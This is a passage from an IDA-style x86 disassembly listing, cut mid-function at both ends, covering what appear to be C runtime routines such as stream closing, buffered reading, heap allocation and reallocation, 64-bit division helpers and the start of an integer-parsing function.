		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_412F8A
		push	esi
		call	sub_41644D
		push	esi
		mov	edi, eax
		call	sub_416422
		push	dword ptr [esi+10h]
		call	sub_416387
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_412F78
		or	edi, 0FFFFFFFFh
		jmp	short loc_412F8A
; ---------------------------------------------------------------------------


loc_412F78:				; CODE XREF: sub_412F47+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_412F8A
		push	eax
		call	sub_412FE4
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_412F8A:				; CODE XREF: sub_412F47+Dj
					; sub_412F47+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_412F47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F93	proc near		; CODE XREF: sub_402A8B+74p
					; sub_4078FA+3443p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_4276F0
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_412FB9
		and	dword ptr [esi+0Ch], 0


loc_412FB0:				; CODE XREF: sub_412F93+44j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_412FB9:				; CODE XREF: sub_412F93+17j
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_412F47
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_412FDC
		jmp	short loc_412FB0
sub_412F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FD9	proc near		; DATA XREF: .rdata:stru_4276F0o
		mov	esi, [ebp+8]
sub_412FD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412FDC	proc near		; CODE XREF: sub_412F93+3Fp
		push	esi
		call	sub_4166C5
		pop	ecx
		retn
sub_412FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FE4	proc near		; CODE XREF: sub_402717+74p
					; sub_40556E+CCp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00413040 SIZE 00000015 BYTES

		push	0Ch
		push	offset stru_427700
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41304F
		cmp	dword_47A640, 3
		jnz	short loc_413040
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41697A
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_413023
		push	esi
		push	eax
		call	sub_4169A5
		pop	ecx
		pop	ecx


loc_413023:				; CODE XREF: sub_412FE4+34j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413037
		cmp	[ebp+var_1C], 0
		jnz	short loc_41304F
		push	[ebp+arg_0]
		jmp	short loc_413041
sub_412FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413037	proc near		; CODE XREF: sub_412FE4+43p
					; DATA XREF: .rdata:stru_427700o
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_413037	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412FE4


loc_413040:				; CODE XREF: sub_412FE4+1Aj
		push	esi


loc_413041:				; CODE XREF: sub_412FE4+51j
		push	0
		push	dword_47A63C
		call	ds:dword_41F134


loc_41304F:				; CODE XREF: sub_412FE4+11j
					; sub_412FE4+4Cj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_412FE4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413055	proc near		; CODE XREF: sub_41313E+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_413079
		xor	eax, eax
		jmp	loc_413124
; ---------------------------------------------------------------------------


loc_413079:				; CODE XREF: sub_413055+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41308D
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_413099
; ---------------------------------------------------------------------------


loc_41308D:				; CODE XREF: sub_413055+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_413099
; ---------------------------------------------------------------------------


loc_413096:				; CODE XREF: sub_413055+C5j
		mov	ecx, [ebp+arg_0]


loc_413099:				; CODE XREF: sub_413055+36j
					; sub_413055+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4130CB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4130CB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4130B0
		mov	edi, eax


loc_4130B0:				; CODE XREF: sub_413055+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4177B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_413116
; ---------------------------------------------------------------------------


loc_4130CB:				; CODE XREF: sub_413055+4Aj
					; sub_413055+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_4130FE
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_4130E1
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx


loc_4130E1:				; CODE XREF: sub_413055+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_417703
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413128
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413138
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_413116
; ---------------------------------------------------------------------------


loc_4130FE:				; CODE XREF: sub_413055+79j
		push	esi
		call	sub_417455
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41312C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax


loc_413116:				; CODE XREF: sub_413055+74j
					; sub_413055+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_413096
		mov	eax, [ebp+arg_8]


loc_413123:				; CODE XREF: sub_413055+E1j
		pop	esi


loc_413124:				; CODE XREF: sub_413055+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413128:				; CODE XREF: sub_413055+9Bj
		or	dword ptr [esi+0Ch], 10h


loc_41312C:				; CODE XREF: sub_413055+B3j
					; sub_413055+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_413123
; ---------------------------------------------------------------------------


loc_413138:				; CODE XREF: sub_413055+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41312C
sub_413055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41313E	proc near		; CODE XREF: sub_402A8B+47p
					; sub_410A22+2F2p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_427710
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413055
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413180
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41313E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413180	proc near		; CODE XREF: sub_41313E+34p
					; DATA XREF: .rdata:stru_427710o
		push	dword ptr [ebp+14h]
		call	sub_4166C5
		pop	ecx
		retn
sub_413180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41318A	proc near		; CODE XREF: sub_41965E+34p
					; sub_41965E+49p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004132FB SIZE 0000003C BYTES

		push	14h
		push	offset stru_427720
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_4131AD
		push	[ebp+arg_4]
		call	sub_41344D
		pop	ecx
		jmp	loc_413331
; ---------------------------------------------------------------------------


loc_4131AD:				; CODE XREF: sub_41318A+13j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_4131C0
		push	edi
		call	sub_412FE4
		pop	ecx
		jmp	loc_41332F
; ---------------------------------------------------------------------------


loc_4131C0:				; CODE XREF: sub_41318A+28j
		cmp	dword_47A640, 3
		jnz	loc_4132FB


loc_4131CD:				; CODE XREF: sub_41318A+158j
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_4132CA
		push	4
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	edi
		call	sub_41697A
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	loc_41329A
		cmp	esi, dword_47A62C
		ja	short loc_41324A
		push	esi
		push	edi
		push	eax
		call	sub_416E7A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413212
		mov	[ebp+var_1C], edi
		jmp	short loc_41324A
; ---------------------------------------------------------------------------


loc_413212:				; CODE XREF: sub_41318A+81j
		push	esi
		call	sub_417159
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41324A
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_41322D
		mov	eax, esi


loc_41322D:				; CODE XREF: sub_41318A+9Fj
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_4177B0
		push	edi
		call	sub_41697A
		mov	[ebp+var_20], eax
		push	edi
		push	eax
		call	sub_4169A5
		add	esp, 18h


loc_41324A:				; CODE XREF: sub_41318A+72j
					; sub_41318A+86j ...
		cmp	[ebp+var_1C], ebx
		jnz	short loc_41329A
		cmp	esi, ebx
		jnz	short loc_413259
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_413259:				; CODE XREF: sub_41318A+C7j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F13C
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41329A
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_413284
		mov	eax, esi


loc_413284:				; CODE XREF: sub_41318A+F6j
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_4177B0
		push	edi
		push	[ebp+var_20]
		call	sub_4169A5
		add	esp, 14h


loc_41329A:				; CODE XREF: sub_41318A+66j
					; sub_41318A+C3j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4132F2
		cmp	[ebp+var_20], ebx
		jnz	short loc_4132CA
		cmp	esi, ebx
		jnz	short loc_4132AF
		xor	esi, esi
		inc	esi


loc_4132AF:				; CODE XREF: sub_41318A+120j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F138
		mov	[ebp+var_1C], eax


loc_4132CA:				; CODE XREF: sub_41318A+49j
					; sub_41318A+11Cj
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jnz	short loc_413331
		cmp	dword_47A014, ebx
		jz	short loc_413331
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	loc_4131CD
		jmp	short loc_41332F
sub_41318A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132EA	proc near		; DATA XREF: .rdata:stru_427720o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_4132EA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4132F2	proc near		; CODE XREF: sub_41318A+114p
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_4132F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41318A


loc_4132FB:				; CODE XREF: sub_41318A+3Dj
					; sub_41318A+1A3j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_413318
		cmp	esi, ebx
		jnz	short loc_413309
		xor	esi, esi
		inc	esi


loc_413309:				; CODE XREF: sub_41318A+17Aj
		push	esi
		push	edi
		push	ebx
		push	dword_47A63C
		call	ds:dword_41F138


loc_413318:				; CODE XREF: sub_41318A+176j
		cmp	eax, ebx
		jnz	short loc_413331
		cmp	dword_47A014, ebx
		jz	short loc_413331
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	short loc_4132FB


loc_41332F:				; CODE XREF: sub_41318A+31j
					; sub_41318A+15Ej
		xor	eax, eax


loc_413331:				; CODE XREF: sub_41318A+1Ej
					; sub_41318A+145j ...
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41318A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413337	proc near		; CODE XREF: sub_413393+Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_427730
		call	__SEH_prolog
		call	sub_417CF5
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_41335E
		call	sub_417C70
		mov	dword ptr [eax], 18h
		xor	eax, eax
		jmp	short loc_413383
; ---------------------------------------------------------------------------


loc_41335E:				; CODE XREF: sub_413337+16j
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417B08
		add	esp, 10h
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413389
		mov	eax, [ebp+var_20]


loc_413383:				; CODE XREF: sub_413337+25j
		call	__SEH_epilog
		retn
sub_413337	endp


; =============== S U B	R O U T	I N E =======================================



sub_413389	proc near		; CODE XREF: sub_413337+44p
					; DATA XREF: .rdata:stru_427730o
		push	dword ptr [ebp-1Ch]
		call	sub_4166C5
		pop	ecx
		retn
sub_413389	endp


; =============== S U B	R O U T	I N E =======================================



sub_413393	proc near		; CODE XREF: sub_402A8B+2Ap
					; sub_4078FA+33EEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_413337
		add	esp, 0Ch
		retn
sub_413393	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133A6	proc near		; CODE XREF: sub_413421+Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_427740
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		cmp	dword_47A640, 3
		jnz	short loc_4133EC
		cmp	esi, dword_47A62C
		ja	short loc_4133EC
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_417159
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413418
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_41340F


loc_4133EC:				; CODE XREF: sub_4133A6+16j
					; sub_4133A6+1Ej
		test	esi, esi
		jnz	short loc_4133F1
		inc	esi


loc_4133F1:				; CODE XREF: sub_4133A6+48j
		cmp	dword_47A640, 1
		jz	short loc_413400
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_413400:				; CODE XREF: sub_4133A6+52j
		push	esi
		push	0
		push	dword_47A63C
		call	ds:dword_41F13C


loc_41340F:				; CODE XREF: sub_4133A6+44j
		call	__SEH_epilog
		retn
sub_4133A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413415	proc near		; DATA XREF: .rdata:stru_427740o
		mov	esi, [ebp+8]
sub_413415	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413418	proc near		; CODE XREF: sub_4133A6+3Ap
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_413418	endp


; =============== S U B	R O U T	I N E =======================================



sub_413421	proc near		; CODE XREF: sub_41344D+Ap
					; sub_413A90+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41344A


loc_413428:				; CODE XREF: sub_413421+27j
		push	[esp+arg_0]
		call	sub_4133A6
		test	eax, eax
		pop	ecx
		jnz	short locret_41344C
		cmp	[esp+arg_4], eax
		jz	short locret_41344C
		push	[esp+arg_0]
		call	sub_417AED
		test	eax, eax
		pop	ecx
		jnz	short loc_413428


loc_41344A:				; CODE XREF: sub_413421+5j
		xor	eax, eax

locret_41344C:				; CODE XREF: sub_413421+13j
					; sub_413421+19j
		retn
sub_413421	endp


; =============== S U B	R O U T	I N E =======================================



sub_41344D	proc near		; CODE XREF: sub_402717+1Ep
					; sub_406B55+5Ep ...

arg_0		= dword	ptr  4

		push	dword_47A014
		push	[esp+4+arg_0]
		call	sub_413421
		pop	ecx
		pop	ecx
		retn
sub_41344D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_413460	proc near		; CODE XREF: sub_413498p
		mov	eax, offset sub_4181D9
		mov	off_42CE18, eax
		mov	off_42CE1C, offset sub_417E53
		mov	off_42CE20, offset sub_417EB8
		mov	off_42CE24, offset sub_417E17
		mov	off_42CE28, offset sub_417E9E
		mov	off_42CE2C, eax
		retn
sub_413460	endp


; =============== S U B	R O U T	I N E =======================================



sub_413498	proc near		; CODE XREF: sub_4143FB+9p
					; DATA XREF: .data:off_42C718o
		call	sub_413460
		call	sub_41827C
		mov	dword_479E54, eax
		call	sub_41822A
		fnclex
		retn
sub_413498	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134AF	proc near		; CODE XREF: sub_40241F+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41F06C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4134CF
		call	ds:dword_41F008
		push	eax
		call	sub_417C82
		pop	ecx


loc_4134CB:				; CODE XREF: sub_4134AF+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4134CF:				; CODE XREF: sub_4134AF+Dj
		test	al, 1
		jz	short loc_4134F2
		test	[esp+arg_4], 2
		jz	short loc_4134F2
		call	sub_417C70
		mov	dword ptr [eax], 0Dh
		call	sub_417C79
		mov	dword ptr [eax], 5
		jmp	short loc_4134CB
; ---------------------------------------------------------------------------


loc_4134F2:				; CODE XREF: sub_4134AF+22j
					; sub_4134AF+29j
		xor	eax, eax
		retn
sub_4134AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413500	proc near		; CODE XREF: sub_402439+2Ap
					; sub_414CA3+60Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_413531
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_413578
; ---------------------------------------------------------------------------


loc_413531:				; CODE XREF: sub_413500+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41353F:				; CODE XREF: sub_413500+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41353F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41356D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41356D
		jb	short loc_413576
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_413576


loc_41356D:				; CODE XREF: sub_413500+5Dj
					; sub_413500+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_413576:				; CODE XREF: sub_413500+65j
					; sub_413500+6Bj
		xor	ebx, ebx


loc_413578:				; CODE XREF: sub_413500+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_413500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4135A0	proc near		; CODE XREF: sub_40253D+5Fp
					; sub_40253D+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4135C1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_4135C1:				; CODE XREF: sub_4135A0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4135DD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4135DD:				; CODE XREF: sub_4135A0+27j
		or	eax, eax
		jnz	short loc_4135F9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41363A
; ---------------------------------------------------------------------------


loc_4135F9:				; CODE XREF: sub_4135A0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_413607:				; CODE XREF: sub_4135A0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_413607
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_413635
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_413635
		jb	short loc_413636
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_413636


loc_413635:				; CODE XREF: sub_4135A0+85j
					; sub_4135A0+8Bj
		dec	esi


loc_413636:				; CODE XREF: sub_4135A0+8Dj
					; sub_4135A0+93j
		xor	edx, edx
		mov	eax, esi


loc_41363A:				; CODE XREF: sub_4135A0+57j
		dec	edi
		jnz	short loc_413644
		neg	edx
		neg	eax
		sbb	edx, 0


loc_413644:				; CODE XREF: sub_4135A0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4135A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41364A	proc near		; CODE XREF: sub_413809+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_415456
		mov	esi, [eax+64h]
		cmp	esi, off_42C7BC
		jz	short loc_413668
		call	sub_41628E
		mov	esi, eax


loc_413668:				; CODE XREF: sub_41364A+15j
		mov	ecx, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	bl, [ecx]
		lea	edi, [ecx+1]


loc_413674:				; CODE XREF: sub_41364A+55j
		cmp	dword ptr [esi+28h], 1
		movzx	eax, bl
		jle	short loc_41368E
		push	8
		push	eax
		push	esi
		call	sub_41608B
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		jmp	short loc_413698
; ---------------------------------------------------------------------------


loc_41368E:				; CODE XREF: sub_41364A+31j
		mov	edx, [esi+48h]
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_413698:				; CODE XREF: sub_41364A+42j
		test	eax, eax
		jz	short loc_4136A1
		mov	bl, [edi]
		inc	edi
		jmp	short loc_413674
; ---------------------------------------------------------------------------


loc_4136A1:				; CODE XREF: sub_41364A+50j
		cmp	bl, 2Dh
		jnz	short loc_4136AC
		or	[ebp+arg_C], 2
		jmp	short loc_4136B1
; ---------------------------------------------------------------------------


loc_4136AC:				; CODE XREF: sub_41364A+5Aj
		cmp	bl, 2Bh
		jnz	short loc_4136B4


loc_4136B1:				; CODE XREF: sub_41364A+60j
		mov	bl, [edi]
		inc	edi


loc_4136B4:				; CODE XREF: sub_41364A+65j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4137F9
		cmp	eax, 1
		jz	loc_4137F9
		cmp	eax, 24h
		jg	loc_4137F9
		test	eax, eax
		push	10h
		pop	ecx
		jnz	short loc_4136FC
		cmp	bl, 30h
		jz	short loc_4136E6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_413714
; ---------------------------------------------------------------------------


loc_4136E6:				; CODE XREF: sub_41364A+91j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_4136F9
		cmp	al, 58h
		jz	short loc_4136F9
		mov	[ebp+arg_8], 8
		jmp	short loc_413714
; ---------------------------------------------------------------------------


loc_4136F9:				; CODE XREF: sub_41364A+A0j
					; sub_41364A+A4j
		mov	[ebp+arg_8], ecx


loc_4136FC:				; CODE XREF: sub_41364A+8Cj
		cmp	[ebp+arg_8], ecx
		jnz	short loc_413714
		cmp	bl, 30h
		jnz	short loc_413714
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_413710
		cmp	al, 58h
		jnz	short loc_413714


loc_413710:				; CODE XREF: sub_41364A+C0j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_413714:				; CODE XREF: sub_41364A+9Aj
					; sub_41364A+ADj ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]


loc_41371C:				; CODE XREF: sub_41364A+134j
		mov	esi, off_42CE30
		movzx	ecx, bl
		mov	cx, [esi+ecx*2]
		test	cl, 4
		jz	short loc_413736
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_413755
; ---------------------------------------------------------------------------


loc_413736:				; CODE XREF: sub_41364A+E2j
		test	cx, 103h
		jz	short loc_413780
		cmp	bl, 61h
		jl	short loc_41374F
		cmp	bl, 7Ah
		jg	short loc_41374F
		movsx	ecx, bl
		sub	ecx, 20h
		jmp	short loc_413752
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_41364A+F6j
					; sub_41364A+FBj
		movsx	ecx, bl


loc_413752:				; CODE XREF: sub_41364A+103j
		add	ecx, 0FFFFFFC9h


loc_413755:				; CODE XREF: sub_41364A+EAj
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_413780
		or	[ebp+arg_C], 8
		cmp	[ebp+var_4], eax
		jb	short loc_41376F
		jnz	short loc_413769
		cmp	ecx, edx
		jbe	short loc_41376F


loc_413769:				; CODE XREF: sub_41364A+119j
		or	[ebp+arg_C], 4
		jmp	short loc_41377B
; ---------------------------------------------------------------------------


loc_41376F:				; CODE XREF: sub_41364A+117j
					; sub_41364A+11Dj
		mov	esi, [ebp+var_4]
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_4], esi


loc_41377B:				; CODE XREF: sub_41364A+123j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41371C
; ---------------------------------------------------------------------------


loc_413780:				; CODE XREF: sub_41364A+F1j
					; sub_41364A+10Ej
		mov	eax, [ebp+arg_C]
		dec	edi
		test	al, 8
		jnz	short loc_413797
		cmp	[ebp+arg_4], 0
